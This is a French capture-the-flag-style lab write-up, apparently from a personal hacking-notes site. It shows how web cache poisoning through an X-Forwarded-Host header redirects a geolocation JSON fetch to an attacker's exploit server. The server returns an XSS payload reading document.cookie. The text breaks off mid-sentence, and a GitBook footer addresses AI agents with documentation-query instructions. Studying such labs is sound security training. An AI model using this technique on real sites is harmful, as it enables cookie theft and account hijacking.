> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/cache-poisoning/cache-poisoning-to-exploit-dom-xss-with-strict-cache.md).

# Empoisonnement du cache pour exploiter une XSS DOM avec cache strict

### Empoisonnement du cache Web pour exploiter une vulnérabilité DOM via un cache avec des critères de mise en cache stricts

#### Objectif du laboratoire

Nous devons **empoisonner le cache** afin qu'un visiteur de la page d'accueil exécute **`alert(document.cookie)`** via un **vulnérabilité DOM**.

#### Observations

* La page affiche des informations de livraison basées sur le pays (par exemple Royaume-Uni).
* Nous identifions un **`geolocate.js`** script qui construit le DOM à partir d'un JSON.

<figure><img src="/files/f094f48a4a42b337e5eb41f3a585d58e5434e7cd" alt=""><figcaption></figcaption></figure>

#### Analyse de la logique côté client

Dans **`geolocate.js`** nous voyons une fonction du type :

* Elle effectue une `fetch(jsonUrl)`
* Puis elle récupère `j.country`
* Et elle fait : **`div.innerHTML = 'Livraison gratuite vers ' + j.country;`**

```javascript
function initGeoLocate(jsonUrl)
{
    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            let geoLocateContent = document.getElementById('shipping-info');

            let img = document.createElement("img");
            img.setAttribute("src", "/resources/images/localShipping.svg");
            geoLocateContent.appendChild(img)

            let div = document.createElement("div");
            div.innerHTML = 'Livraison gratuite vers ' + j.country;
            geoLocateContent.appendChild(div)
        });
}
```

Le JSON chargé par défaut est :

**`/resources/json/geolocate.json`**

```json
{
    "country": "Royaume-Uni"
}
```

<figure><img src="/files/464ea837122ba83dd871c78a1c4a032693b535f8" alt=""><figcaption></figcaption></figure>

Sur la page d'accueil, l'URL du JSON est construite comme suit :

```javascript
<script>
   initGeoLocate('//' + data.host + '/resources/json/geolocate.json');
</script>
```

<figure><img src="/files/c90d2c68d97439db874aadaddbc7257d03bc8f0b" alt=""><figcaption></figcaption></figure>

#### Point d'injection utile (empoisonnement du cache)

Nous notons que si nous ajoutons un en-tête comme :

* `X-Forwarded-Host: test.com`<br>

Alors **la valeur est reflétée** dans `data.host`, ce qui impacte ensuite l'URL transmise à `initGeoLocate()`.

#### Hébergement de notre JSON sur le serveur d'exploitation

Sur notre **serveur d'exploitation**, nous créons un fichier JSON (exemple simple) :

```json
{
  "country": "Andorre"
}
```

<figure><img src="/files/1f7b9bf501fa4f1b60bb8c5bd885b8a3a9c409ba" alt=""><figcaption></figcaption></figure>

Puis nous envoyons une requête à la racine avec :

* `X-Forwarded-Host: <notre-exploit-server>`

```http
X-Forwarded-Host: exploit-0a6300210305fded80adf70e01a80006.exploit-server.net
```

Au début, cela **ne se charge pas** à cause d'un problème **CORS** (pas de `Access-Control-Allow-Origin`).

<figure><img src="/files/bbab12c03a8b93daaca1caf946c3b6b5c4193a80" alt=""><figcaption></figcaption></figure>

Nous ajoutons donc dans la réponse du serveur d'exploitation :

* `Access-Control-Allow-Origin: *`

```http
Access-Control-Allow-Origin: *
```

Après cela, le JSON distant se charge correctement.

<figure><img src="/files/c5e2ad319c3ba229978951ea61ab61f07ba07a5b" alt=""><figcaption></figcaption></figure>

#### Injection XSS via JSON (XSS DOM)

Nous remplaçons ensuite le contenu du JSON par un payload, par exemple :

```json
{
  "country": "<img src=0 onerror=alert(document.cookie)"
}
```

Alors que `j.country` est injecté dans `innerHTML`, le navigateur interprète notre HTML, et \*\*l

<figure><img src="/files/90da6b5a46483c6f05d3b880554bc552b07af2ff" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/cache-poisoning/cache-poisoning-to-exploit-dom-xss-with-strict-cache.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
